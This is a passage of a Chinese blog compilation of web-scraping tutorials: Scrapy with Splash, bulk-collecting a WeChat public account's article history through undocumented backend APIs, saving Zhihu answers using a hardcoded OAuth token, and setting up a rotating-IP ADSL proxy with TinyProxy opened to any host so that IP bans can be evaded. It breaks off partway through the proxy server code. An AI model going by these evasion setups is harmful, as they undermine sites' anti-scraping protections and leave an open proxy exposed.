估摸着各位小伙伴儿被想使用 CrawlSpider 的 Rule 来抓取 JS，相当受折磨； CrawlSpider Rule 总是不能和 Splash 结合。 废话不多说，手疼····

方法 1：

写一个自定义的函数，使用 Rule 中的 process_request 参数；来替换掉 Rule 本身 Request 的逻辑。 参考官方文档： 1、将请求更换为 SplashRequest 请求： 2、每次请求将本次请求的 URL 使用 Meta 参数传递下去； 3、重写 _requests_to_follow 方法：替换响应 Response 的 URL 为我们传递的 URL（否则会格式为 Splash 的地址） 就像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

class MySpider(CrawlSpider):

    name = 'innda'

    def start_requests(self):
        yield SplashRequest(url, dont_process_response=True, args={'wait': 0.5}, meta={'real_url': url})

    rules = (
        Rule(LinkExtractor(allow=('node_\d+\.htm',)), process_request='splash_request', follow=True),
        Rule(LinkExtractor(allow=('content_\d+\.htm',)), callback="one_parse")
    )

    def splash_request(self, request):
        """
        :param request: Request对象（是一个字典；怎么取值就不说了吧！！）
        :return: SplashRequest的请求
        """
        # dont_process_response=True 参数表示不更改响应对象类型（默认为：HTMLResponse；更改后为：SplashTextResponse）
        # args={'wait': 0.5} 表示传递等待参数0.5（Splash会渲染0.5s的时间）
        # meta 传递请求的当前请求的URL
        return SplashRequest(url=request.url, dont_process_response=True, args={'wait': 0.5}, meta={'real_url': request.url})

    def _requests_to_follow(self, response):
        """重写的函数哈！这个函数是Rule的一个方法
        :param response: 这货是啥看名字都知道了吧（这货也是个字典，然后你懂的ｄ(･∀･*)♪ﾟ）
        :return: 追踪的Request
        """
        if not isinstance(response, HtmlResponse):
            return
        seen = set()
        # 将Response的URL更改为我们传递下来的URL
        # 需要注意哈！ 不能直接直接改！只能通过Response.replace这个魔术方法来改！（当然你改无所谓啦！反正会用报错来报复你 (`皿´) ）并且！！！
        # 敲黑板！！！！划重点！！！！！注意了！！！ 这货只能赋给一个新的对象（你说变量也行，怎么说都行！(*ﾟ∀ﾟ)=3）
        newresponse = response.replace(url=response.meta.get('real_url'))
        for n, rule in enumerate(self._rules):
            # 我要长一点不然有人看不见------------------------------------newresponse 看见没！别忘了改！！！
            links = [lnk for lnk in rule.link_extractor.extract_links(newresponse)
                     if lnk not in seen]
            if links and rule.process_links:
                links = rule.process_links(links)
            for link in links:
                seen.add(link)
                r = self._build_request(n, link)
                yield rule.process_request(r)

    def one_parse(self, response):
        print(response.url)

方法 2:

这就很简单啦！干掉类型检查就是了(/≧▽≦)/ 就像这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

class MySpider(CrawlSpider):

    name = 'innda'

    def start_requests(self):
        yield SplashRequest(url, args={'wait': 0.5})

    rules = (
        Rule(LinkExtractor(allow=('node_\d+\.htm',)), process_request='splash_request', follow=True),
        Rule(LinkExtractor(allow=('content_\d+\.htm',)), callback="one_parse")
    )

    def splash_request(self, request):
        """
        :param request: Request对象（是一个字典；怎么取值就不说了吧！！）
        :return: SplashRequest的请求
        """
        # dont_process_response=True 参数表示不更改响应对象类型（默认为：HTMLResponse；更改后为：SplashTextResponse）
        # args={'wait': 0.5} 表示传递等待参数0.5（Splash会渲染0.5s的时间）
        # meta 传递请求的当前请求的URL
        return SplashRequest(url=request.url, args={'wait': 0.5})

    def _requests_to_follow(self, response):
        """重写的函数哈！这个函数是Rule的一个方法
        :param response: 这货是啥看名字都知道了吧（这货也是个字典，然后你懂的ｄ(･∀･*)♪ﾟ）
        :return: 追踪的Request
        """
        # *************请注意我就是被注释注释掉的类型检查o(TωT)o 
        # if not isinstance(response, HtmlResponse):
        #     return
        # ************************************************
        seen = set()
        # 将Response的URL更改为我们传递下来的URL
        # 需要注意哈！ 不能直接直接改！只能通过Response.replace这个魔术方法来改！并且！！！
        # 敲黑板！！！！划重点！！！！！注意了！！！ 这货只能赋给一个新的对象（你说变量也行，怎么说都行！(*ﾟ∀ﾟ)=3）
        # newresponse = response.replace(url=response.meta.get('real_url'))
        for n, rule in enumerate(self._rules):
            # 我要长一点不然有人看不见------------------------------------newresponse 看见没！别忘了改！！！
            links = [lnk for lnk in rule.link_extractor.extract_links(response)
                     if lnk not in seen]
            if links and rule.process_links:
                links = rule.process_links(links)
            for link in links:
                seen.add(link)
                r = self._build_request(n, link)
                yield rule.process_request(r)

以上完毕@_@!!

各位小伙儿伴儿，一定深受过采集微信公众号之苦吧！特别是！！！！！！公共号历史信息！！！这丫除了通过中间代理采集 APP、还真没什么招数能拿到数据啊！ 直到············ 前天晚上微信官方发布了一个文章：点我 大致意思是说以后发布文章的时候可以直接插入其它公众号的文章了。 诶妈呀！这不是一直需要的采集接口嘛！啧啧 天助我也啊！来来·········下面大致的说一下方法。

1、首先你需要一个订阅号！ 公众号、和企业号是否可行我不清楚。因为我木有·····

2、其次你需要登录！

微信公众号登录我没仔细看。 这个暂且不说了，我使用的是 selenium 驱动浏览器获取 Cookie 的方法、来达到登录的效果。

3、使用 requests 携带 Cookie、登录获取 URL 的 token（这玩意儿很重要每一次请求都需要带上它）像下面这样：

4、使用获取到的 token、和公众号的微信号（就是数字+字符那种）、获取到公众号的 fakeid（你可以理解公众号的标识）

我们在搜索公众号的时候浏览器带着参数以 GET 方法想红框中的 URL 发起了请求。请求参数如下：

请求相应如下：

代码如下：

好了 我们再继续：

5、点击我们搜索到的公众号之后、又发现一个请求：

请求参数如下：

返回如下：

代码如下：

好了···最后一步、获取所有文章需要处理一下翻页、翻页请求如下：

我大概看了一下、极客学院每一页大概至少有 5 条信息、也就是总文章数/5 就是有多少页。但是有小数、我们取整，然后加 1 就是总页数了。

代码如下：

item.get(‘link’)就是我们需要的公众号文章连接啦！继续请求这个 URL 提取里面的内容就是啦！

以下是完整的测试代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from selenium import webdriver
import time
import json
from pprint import pprint

post = {}

driver = webdriver.Chrome(executable_path='C:\chromedriver.exe')
driver.get('https://mp.weixin.qq.com/')
time.sleep(2)
driver.find_element_by_xpath("./*//input[@id='account']").clear()
driver.find_element_by_xpath("./*//input[@id='account']").send_keys('你的帐号')
driver.find_element_by_xpath("./*//input[@id='pwd']").clear()
driver.find_element_by_xpath("./*//input[@id='pwd']").send_keys('你的密码')
# 在自动输完密码之后记得点一下记住我
time.sleep(5)
driver.find_element_by_xpath("./*//a[@id='loginBt']").click()
# 拿手机扫二维码！
time.sleep(15)
driver.get('https://mp.weixin.qq.com/')
cookie_items = driver.get_cookies()
for cookie_item in cookie_items:
    post[cookie_item['name']] = cookie_item['value']
cookie_str = json.dumps(post)
with open('cookie.txt', 'w+', encoding='utf-8') as f:
    f.write(cookie_str)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

import requests
import redis
import json
import re
import random
import time

gzlist = ['yq_Butler']


url = 'https://mp.weixin.qq.com'
header = {
    "HOST": "mp.weixin.qq.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
    }

with open('cookie.txt', 'r', encoding='utf-8') as f:
    cookie = f.read()
cookies = json.loads(cookie)
response = requests.get(url=url, cookies=cookies)
token = re.findall(r'token=(\d+)', str(response.url))[0]
for query in gzlist:
    query_id = {
        'action': 'search_biz',
        'token' : token,
        'lang': 'zh_CN',
        'f': 'json',
        'ajax': '1',
        'random': random.random(),
        'query': query,
        'begin': '0',
        'count': '5',
    }
    search_url = 'https://mp.weixin.qq.com/cgi-bin/searchbiz?'
    search_response = requests.get(search_url, cookies=cookies, headers=header, params=query_id)
    lists = search_response.json().get('list')[0]
    fakeid = lists.get('fakeid')
    query_id_data = {
        'token': token,
        'lang': 'zh_CN',
        'f': 'json',
        'ajax': '1',
        'random': random.random(),
        'action': 'list_ex',
        'begin': '0',
        'count': '5',
        'query': '',
        'fakeid': fakeid,
        'type': '9'
    }
    appmsg_url = 'https://mp.weixin.qq.com/cgi-bin/appmsg?'
    appmsg_response = requests.get(appmsg_url, cookies=cookies, headers=header, params=query_id_data)
    max_num = appmsg_response.json().get('app_msg_cnt')
    num = int(int(max_num) / 5)
    begin = 0
    while num + 1 > 0 :
        query_id_data = {
            'token': token,
            'lang': 'zh_CN',
            'f': 'json',
            'ajax': '1',
            'random': random.random(),
            'action': 'list_ex',
            'begin': '{}'.format(str(begin)),
            'count': '5',
            'query': '',
            'fakeid': fakeid,
            'type': '9'
        }
        print('翻页###################',begin)
        query_fakeid_response = requests.get(appmsg_url, cookies=cookies, headers=header, params=query_id_data)
        fakeid_list = query_fakeid_response.json().get('app_msg_list')
        for item in fakeid_list:
            print(item.get('link'))
        num -= 1
        begin = int(begin)
        begin+=5
        time.sleep(2)

以上完毕！这就是个测试、代码写得奇丑、各位将就着看啊！看不明白？没关系！看这儿：点我看视频

20170609 更新:

感谢一介草民与 ftzz 的反馈

(1) 修复中文路径保存问题

(2) 修复 offset 问题

(3) 修复第一个问题

来个好玩的东西

20170607 更新:

(1) 感谢 Ftzz 提醒, 将图片替换为原图

(2) 将文件保存到本地,解决了最大的缺点问题,不用联网也可以看了

大家好，我是四毛。 写在前面的话 在开始前，给大家分享一个前段时间逛 Github 时看到的某个爬虫脚本中的内容： 所以，大家爬网站的时候，还是友善一点为好，且爬且珍惜啊。 好了，言归正传。 今天主要讲一下如何将某一个知乎问题的所有答案转换为本地 MarkDown 文件。

前期准备

python2.7 html2text markdownpad(这里随意，只要可以支持 md 就行) 会抓包。。。。。 最重要的是你要有代理，因为知乎开始封 IP 了

1.什么是 MarkDown 文件

Markdown 是一种用来写作的轻量级「标记语言」，它用简洁的语法代替排版，而不像一般我们用的字处理软件 Word 或 Pages 有大量的排版、字体设置。它使我们专心于码字，用「标记」语法，来代替常见的排版格式。例如此文从内容到格式，甚至插图，键盘就可以通通搞定了。 恩，上面是我抄的，哈哈。想多了解的可以看看这里。

2.为什么要将答案转为 MarkDwon

因为。。。。。。懒，哈哈，开个玩笑。最重要的原因还是 markdown 看着比较舒服。平时写脚本的时候，也一直在思考一个问题，如何将一个文字与图片穿插的网页原始的保存下来呢。如果借助工具的话，那就很多了，CTRL+P 打印的时候，选择另存为 PDF，或者搞个印象笔记，直接保存整个网页。那么，我们如何用爬虫实现呢？正好前几天看到了这个项目，仔细研究了一下，大受启发。

3.原理

原理说起来很简单：获取请求到的内容的 BODY 部分，然后重新构建一个 HTML 文件，接着利用 html2text 这个模块将其转换为 markdown 文件，最后对图片及标题按照 markdown 的格式做一些处理就好了。目前应用的场景主要是在知乎。

4.Show Code

4.1 获取知乎答案

写代码的时候，主要考虑了两种使用场景。第一，获取某一特定答案的数据然后进行转换；第二，获取某一个问题的所有答案进行然后挨个进行转换，在这里可以 通过赞同数来对要获取的答案进行质量控制。 4.1.1、某一个特定答案的数据获取

url：https://www.zhihu.com/question/27621722/answer/48658220（前面那个是问题ID，后边的是答案ID）

这一数据的获取我这里分为了两个部分，第一部分请求上述网址，拿到答案主体数据以及赞同数，第二部分请求下面这个接口：

https://www.zhihu.com/api/v4/answers/48658220

为什么会这样？因为这个接口得到的答案正文数据不是完整数据，所以只能分两步了。 4.1.2、某一个特定答案的数据获取 这一个数据就可以通过很简单的方式得到了，接口如下：

https://www.zhihu.com/api/v4/questions/27621722/answers?sort_by=default&include=data%5B%2A%5D.is_normal%2Cis_collapsed%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Cmark_infos%2Ccreated_time%2Cupdated_time%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cupvoted_followees%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics&limit=20&offset=3

返回的都是 JSON 数据，很方便获取。但是这里有一个地方需要注意，从这里面取的答案正文数据就是文本数据，不是一个完整的 html 文件，所以需要在构造一下。 4.1.2、保存的字段

author_name 回答用户名 answer_id 答案 ID question_id 问题 ID question_title 问题 vote_up_count 赞同数 create_time 创建时间 答案主体

4.2 Code

主脚本：zhihu.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by shimeng on 17-6-5
import os
import re
import json
import requests
import html2text
from parse_content import parse

"""
just for study and fun
Talk is cheap
show me your code
"""

class ZhiHu(object):
    def __init__(self):
         self.request_content = None

    def request(self, url, retry_times=10):
        header = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
            'authorization': 'oauth c3cef7c66a1843f8b3a9e6a1e3160e20',
            'Host': 'www.zhihu.com'
        }
        times = 0
        while retry_times>0:
            times += 1
            print 'request %s, times: %d' %(url, times)
            try:
                ip = 'your proxy ip'
                if ip:
                    proxy = {
                        'http': 'http://%s' % ip,
                        'https': 'http://%s' % ip
                    }
                    self.request_content = requests.get(url, headers=header, proxies=proxy, timeout=10).content
            except Exception, e:
                print e
                retry_times -= 1
            else:
                return self.request_content

    def get_all_answer_content(self, question_id, flag=2):
        first_url_format = 'https://www.zhihu.com/api/v4/questions/{}/answers?sort_by=default&include=data%5B%2A%5D.is_normal%2Cis_collapsed%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Cmark_infos%2Ccreated_time%2Cupdated_time%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cupvoted_followees%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics&limit=20&offset=3'
        first_url = first_url_format.format(question_id)
        response = self.request(first_url)
        if response:
            contents = json.loads(response)
            print contents.get('paging').get('is_end')
            while not contents.get('paging').get('is_end'):
                for content in contents.get('data'):
                    self.parse_content(content, flag)
                next_page_url = contents.get('paging').get('next').replace('http', 'https')
                contents = json.loads(self.request(next_page_url))
        else:
            raise ValueError('request failed, quit......')

    def get_single_answer_content(self, answer_url, flag=1):
        all_content = {}
        question_id, answer_id = re.findall('https://www.zhihu.com/question/(\d+)/answer/(\d+)', answer_url)[0]

        html_content = self.request(answer_url)
        if html_content:
            all_content['main_content'] = html_content
        else:
            raise  ValueError('request failed, quit......')

        ajax_answer_url = 'https://www.zhihu.com/api/v4/answers/{}'.format(answer_id)
        ajax_content = self.request(ajax_answer_url)
        if ajax_content:
            all_content['ajax_content'] = json.loads(ajax_content)
        else:
            raise  ValueError('request failed, quit......')

        self.parse_content(all_content, flag, )

    def parse_content(self, content, flag=None):
        data = parse(content, flag)
        self.transform_to_markdown(data)

    def transform_to_markdown(self, data):
        content = data['content']
        author_name = data['author_name']
        answer_id = data['answer_id']
        question_id = data['question_id']
        question_title = data['question_title']
        vote_up_count = data['vote_up_count']
        create_time = data['create_time']

        file_name = u'%s--%s的回答[%d].md' % (question_title, author_name,answer_id)
        folder_name = u'%s' % (question_title)

        if not os.path.exists(os.path.join(os.getcwd(),folder_name)):
            os.mkdir(folder_name)
        os.chdir(folder_name)

        f = open(file_name, "wt")
        f.write("-" * 40 + "\n")
        origin_url = 'https://www.zhihu.com/question/{}/answer/{}'.format(question_id, answer_id)
        f.write("## 本答案原始链接: " + origin_url + "\n")
        f.write("### question_title: " + question_title.encode('utf-8') + "\n")
        f.write("### Author_Name: " + author_name.encode('utf-8') + "\n")
        f.write("### Answer_ID: %d" % answer_id + "\n")
        f.write("### Question_ID %d: " % question_id + "\n")
        f.write("### VoteCount: %s" % vote_up_count + "\n")
        f.write("### Create_Time: " + create_time + "\n")
        f.write("-" * 40 + "\n")

        text = html2text.html2text(content.decode('utf-8')).encode("utf-8")
        # 标题
        r = re.findall(r'**(.*?)**', text, re.S)
        for i in r:
            if i != " ":
                text = text.replace(i, i.strip())

        r = re.findall(r'_(.*)_', text)
        for i in r:
            if i != " ":
                text = text.replace(i, i.strip())
        text = text.replace('_ _', '')

        # 图片
        r = re.findall(r'![]\((?:.*?)\)', text)
        for i in r:
            text = text.replace(i, i + "\n\n")

        f.write(text)

        f.close()


if __name__ == '__main__':
    zhihu = ZhiHu()
    url = 'https://www.zhihu.com/question/27621722/answer/105331078'
    zhihu.get_single_answer_content(url)

    # question_id = '27621722'
    # zhihu.get_all_answer_content(question_id)

zhihu.py 为主脚本，内容很简单，发起请求，调用解析函数进行解析，最后再进行保存。 解析函数脚本：parse_content.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by shimeng on 17-6-5
import time
from bs4 import BeautifulSoup


def html_template(data):
    # api content
    html = '''
        <html>
        <head>
        <body>
        %s
        </body>
        </head>
        </html>
        ''' % data
    return html


def parse(content, flag=None):
    data = {}
    if flag == 1:
        # single
        main_content = content.get('main_content')
        ajax_content = content.get('ajax_content')

        soup = BeautifulSoup(main_content.decode("utf-8"), "lxml")
        answer = soup.find("span", class_="RichText CopyrightRichText-richText")

        author_name = ajax_content.get('author').get('name')
        answer_id = ajax_content.get('id')
        question_id = ajax_content.get('question').get('id')
        question_title = ajax_content.get('question').get('title')
        vote_up_count = soup.find("meta", itemprop="upvoteCount")["content"]
        create_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(ajax_content.get('created_time')))


    else:
        # all
        answer_content = content.get('content')

        author_name = content.get('author').get('name')
        answer_id = content.get('id')
        question_id = content.get('question').get('id')
        question_title = content.get('question').get('title')
        vote_up_count = content.get('voteup_count')
        create_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(content.get('created_time')))

        content = html_template(answer_content)
        soup = BeautifulSoup(content, 'lxml')
        answer = soup.find("body")

    print author_name,answer_id,question_id,question_title,vote_up_count,create_time
    # 这里非原创，看了别人的代码，修改了一下
    soup.body.extract()
    soup.head.insert_after(soup.new_tag("body", **{'class': 'zhi'}))

    soup.body.append(answer)

    img_list = soup.find_all("img", class_="content_image lazy")
    for img in img_list:
        img["src"] = img["data-actualsrc"]
    img_list = soup.find_all("img", class_="origin_image zh-lightbox-thumb lazy")
    for img in img_list:
        img["src"] = img["data-actualsrc"]
    noscript_list = soup.find_all("noscript")
    for noscript in noscript_list:
        noscript.extract()

    data['content'] = soup
    data['author_name'] = author_name
    data['answer_id'] = answer_id
    data['question_id'] = question_id
    data['question_title'] = question_title
    data['vote_up_count'] = vote_up_count
    data['create_time'] = create_time

    return data

parse_content.py 主要负责构造新的 html，然后对其进行解析，获取数据。

5.测试结果展示

恩，下面还有，就不截图了。

6.缺点与不足

下面聊一聊这种方法的缺点： 这种方法的最大缺点就是：

一定要联网！

一定要联网！

一定要联网！

因为。。。。。。 在 md 文件中我们只是写了个图片的网址，这就意味着 markdown 的编辑器帮我们去存放图片的服务器上对这个图片进行了获取，所以断网也就意味着你看不到图片了；同时也意味着如果用户删除了这张图片，你也就看不到了。 但是，后来我又发现在 markdownpad 中将文件导出为 html 时，即使是断网了，依然可以看到全部的内容，包括图片，所以如果你真的喜欢某一个答案，保存到印象笔记肯定是不错的选择，PDF 直接保存也不错，如果是使用了这个方法，记得转为 html 最好。 还有一个缺点就是 html2text 转换过后的效果其实并不是特别好，还是需要后期在进行处理的。

7.总结

代码还有很多可以改进之处，欢迎大家与我交流：QQ:549411552 （注明来自静觅） 国际惯例：代码在这 收工。

我们尝试维护过一个免费的代理池，但是代理池效果用过就知道了，毕竟里面有大量免费代理，虽然这些代理是可用的，但是既然我们能刷到这个免费代理，别人也能呀，所以就导致这个代理同时被很多人使用来抓取网站，所以当我们兴致勃勃地拿他来抓取某个网站的时候，会发现它还是被网站封禁的状态，所以在某些情况下免费代理池的成功率还是比较低的。 当然我们也可以去购买一些代理，比如几块钱提取几百几千个的代理，然而经过测试后质量也是很一般，也可以去购买专线代理，不过价格也是不菲的。那么目前最稳定而且又保证可用的代理方法就是设置ADSL拨号代理了。 本篇来讲解一下ADSL拨号代理服务器的相关设置。

什么是ADSL

大家可能对ADSL比较陌生，ADSL全称叫做Asymmetric Digital Subscriber Line，非对称数字用户环路，因为它的上行和下行带宽不对称。它采用频分复用技术把普通的电话线分成了电话、上行和下行三个相对独立的信道，从而避免了相互之间的干扰。 有种主机叫做动态拨号VPS主机，这种主机在连接上网的时候是需要拨号的，只有拨号成功后才可以上网，每拨一次号，主机就会获取一个新的IP，也就是它的IP并不是固定的，而且IP量特别大，几乎不会拨到相同的IP，如果我们用它来搭建代理，既能保证高度可用，又可以自由控制拨号切换。 经测试发现这也是最稳定最有效的代理方式，本节详细介绍一下ADSL拨号代理服务器的搭建方法。

购买动态拨号VPS主机

所以在开始之前，我们需要先购买一台动态拨号VPS主机，这样的主机在百度搜索一下，服务商还是相当多的，在这里推荐一家云立方，感觉还是比较良心的，非广告。 配置的话可以自行选择，看下带宽是否可以满足需求就好了。 购买完成之后，就需要安装操作系统了，进入拨号主机的后台，首先预装一个操作系统。 在这里推荐安装CentOS7系统。 然后找到远程管理面板找到远程连接的用户名和密码，也就是SSH远程连接服务器的信息。 比如我这边的IP端口分别是 153.36.65.214:20063，用户名是root。 命令行下输入：

1

ssh root@153.36.65.214 -p 20063

然后输入管理密码，就可以连接上远程服务器了。 进入之后，可以发现有一个可用的脚本文件，叫做ppp.sh，这是拨号初始化的脚本，运行它会让我们输入拨号的用户名和密码，然后它就会开始各种拨号配置，一次配置成功，后面的拨号就不需要重复输入用户名和密码了。 运行ppp.sh脚本，输入用户名密码等待它的配置完成。 都提示成功之后就可以进行拨号了。 在拨号之前如果我们测试ping任何网站都是不通的，因为当前网络还没联通，输入拨号命令：

1

adsl-start

可以发现拨号命令成功运行，没有任何报错信息，这就证明拨号成功完成了，耗时约几秒钟。接下来如果再去ping外网就可以通了。 如果要停止拨号可以输入：

1

adsl-stop

停止之后，可以发现又连不通网络了。

所以只有拨号之后才可以建立网络连接。 所以断线重播的命令就是二者组合起来，先执行adsl-stop再执行adsl-start，每拨一次号，ifocnfig命令观察一下主机的IP，发现主机的IP一直是在变化的，网卡名称叫做ppp0。 所以，到这里我们就可以知道它作为代理服务器的巨大优势了，如果将这台主机作为代理服务器，如果我们一直拨号换IP，就不怕遇到IP被封的情况了，即使某个IP被封了，重新拨一次号就好了。 所以接下来我们要做的就有两件事，一是怎样将主机设置为代理服务器，二是怎样实时获取拨号主机的IP。

设置代理服务器

之前我们经常听说代理服务器，也设置过不少代理了，但是可能没有自己设置吧，自己有一台主机怎样设置为代理服务器呢？接下来我们就亲自试验下怎样搭建HTTP代理服务器。 在Linux下搭建HTTP代理服务器，推荐TinyProxy和Squid，配置都非常简单，在这里我们以TinyProxy为例来讲解一下怎样搭建代理服务器。

安装TinyProxy

当然第一步就是安装TinyProxy这个软件了，在这里我使用的系统是CentOS，所以使用yum来安装，如果是其他系统如Ubuntu可以选择apt-get等命令安装，都是类似的。 命令行执行yum安装指令：

1
2
3

yum install -y epel-release
yum update -y
yum install -y tinyproxy

运行完成之后就可以完成tinyproxy的安装了。

配置TinyProxy

安装完成之后还需要配置一下TinyProxy才可以用作代理服务器，需要编辑配置文件，它一般的路径是/etc/tinyproxy/tinyproxy.conf。 可以看到有一行

1

Port 8888

在这里可以设置代理的端口，默认是8888。 然后继续向下找，有这么一行

1

Allow 127.0.0.1

这是被允许连接的主机的IP，如果想任何主机都可以连接，那就直接将它注释即可，所以在这里我们选择直接注释，也就是任何主机都可以使用这台主机作为代理服务器了。 修改为

1

# Allow 127.0.0.1

设置完成之后重启TinyProxy即可。

1

service tinyproxy start

验证TinyProxy 好了，这样我们就成功搭建好代理服务器了，首先ifconfig查看下当前主机的IP，比如当前我的主机拨号IP为112.84.118.216，在其他的主机运行测试一下。 比如用curl命令设置代理请求一下httpbin，检测下代理是否生效。

1

curl -x 112.84.118.216:8888 httpbin.org/get

如果有正常的结果输出并且origin的值为代理IP的地址，就证明TinyProxy配置成功了。 好，那到现在，我们接下来要做的就是需要动态实时获取主机的IP了。

动态获取IP

真正的好戏才开始呢，我们怎样动态获取主机的IP呢？可能你首先想到的是DDNS也就是动态域名解析服务，我们需要使用一个域名来解析，也就是虽然IP是变的，但域名解析的地址可以随着IP的变化而变化。 它的原理其实是拨号主机向固定的服务器发出请求，服务器获取客户端的IP，然后再将域名解析到这个IP上就可以了。 国内比较有名的服务就是花生壳了，也提供了免费版的动态域名解析，另外DNSPOD也提供了解析接口来动态修改域名解析设置，DNSPOD，但是这样的方式都有一个通病，那就是慢！ 原因在于DNS修改后到完全生效是需要一定时间的，所以如果在前一秒拨号了，这一秒的域名解析的可能还是原来的IP，时间长的话可能需要几分钟，也就是说这段时间内，服务器IP已经变了，但是域名还是上一次拨号的IP，所以代理是不能用的，对于爬虫这种秒级响应的需求，是完全不能接受的。 所以根据花生壳的原理，可以完全自己实现一下动态获取IP的方法。 所以本节重点介绍的就是怎样来实现实时获取拨号主机IP的方法。 要实现这个需要两台主机，一台主机就是这台动态拨号VPS主机，另一台是具有固定公网IP的主机。动态VPS主机拨号成功之后就请求远程的固定主机，远程主机获取动态VPS主机的IP，就可以得到这个代理，将代理保存下来，这样拨号主机每拨号一次，远程主机就会及时得到拨号主机的IP，如果有多台拨号VPS，也统一发送到远程主机，这样我们只需要从远程主机取下代理就好了，保准是实时可用，稳定高效的。 整体思路大体是这样子，当然为了更完善一下，我们要做到如下功能： 远程主机：

• 监听主机请求，获取动态VPS主机IP
• 将VPS主机IP记录下来存入数据库，支持多个客户端
• 检测当前接收到的IP可用情况，如果不可用则删除
• 提供API接口，通过API接口可获取当前可用代理IP

拨号VPS：

• 定时执行拨号脚本换IP
• 换IP后立即请求远程主机
• 拨号后检测是否拨号成功，如果失败立即重新拨号

远程主机实现

说了这么多，那么我们就梳理一下具体的实现吧，整个项目我们用Python3实现。

数据库

远程主机作为一台服务器，动态拨号VPS会定时请求远程主机，远程主机接收到请求后将IP记录下来存入数据库。 因为IP是一直在变化的，IP更新了之后，原来的IP就不能用了，所以对于一个主机来说我们可能需要多次更新一条数据。另外我们不能仅限于维护一台拨号VPS主机，当然是需要支持多台维护的。在这里我们直接选用Key-Value形式的非关系型数据库存储更加方便，所以在此选用Redis数据库。 既然是Key-Value，Key是什么?Value是什么?首先我们能确定Value就是代理的值，比如112.84.119.67:8888，那么Key是什么？我们知道，这个IP是针对一台动态拨号VPS的，而且这个值会不断地变，所以我们需要有一个不变量Key来唯一标识这台主机，所以在这里我们可以把Key当做主机名称。名称怎么来？自己取就好了，只要每台主机的名字不重复，我们就可以区分出是哪台主机了，这个名字可以在拨号主机那边指定，然后传给远程主机就好了。 所以，在这里数据库我们选用Redis，Key就是拨号主机的名称，可以自己指定，Value就是代理的值。 所以可以写一个操作Redis数据库的类，参考如下：

1
2
3
4
5
6
7
8
9
10
11
12
13

class RedisClient(object):
    def __init__(self, host=REDIS_HOST, port=REDIS_PORT):
        self.db = redis.Redis(host=host, port=port, password=REDIS_PASSWORD)
        self.proxy_key = PROXY_KEY

    def key(self, name):
        return '{key}:{name}'.format(key=self.proxy_key, name=name)

    def set(self, name, proxy):
        return self.db.set(self.key(name), proxy)

    def get(self, name):
        return self.db.get(self.key(name)).decode('utf-8')

首先初始化Redis连接，我们可以将Key设计成adsl:vm1这种形式，冒号前面是总的key，冒号后面是主机名称name，这样显得结构更加清晰。 然后指定set()和get()方法，用来存储代理和获取代理。

请求处理

拨号主机会一直向远程主机发送请求，远程主机当然可以获取拨号主机的IP，但是代理端口是无法获得的，我们在拨号主机上设置了TinyProxy或者Squid，但是服务器不知道是在哪个端口开的，所以端口也是需要客户端传给远程主机的。远程主机接收到请求后，将解析得到的IP和端口合并就可以作为完整的代理保存了。 所以现在我们知道拨号主机需要传送给远程主机的信息已经有两个了，一是拨号主机本身的名称，二是代理的端口。

通信秘钥

为了保证远程主机不被恶意的请求干扰，可以设置一个传输秘钥，最简单的方式可以二者共同规定一个秘钥字符串，拨号主机在传送这个字符串，远程主机匹配一下，如果能正确匹配，那就进行下一步的处理，如果不能匹配，那么可能是恶意请求，就忽略这个请求。 当然肯定有更好的加密传输方式，但为了方便起见可以用如上来做。 所以客户机还需要传送一个数据，那就是通信秘钥，一共需要传送三个数据。 所以我们需要架设一个服务器，一直监听客户端的请求，在这里我们用tornado实现。 tornado的安装也非常简单，利用pip安装即可：

1

pip3 install tornado

定义一个处理拨号主机请求的方法，在这里我们使用post请求，参考如下。
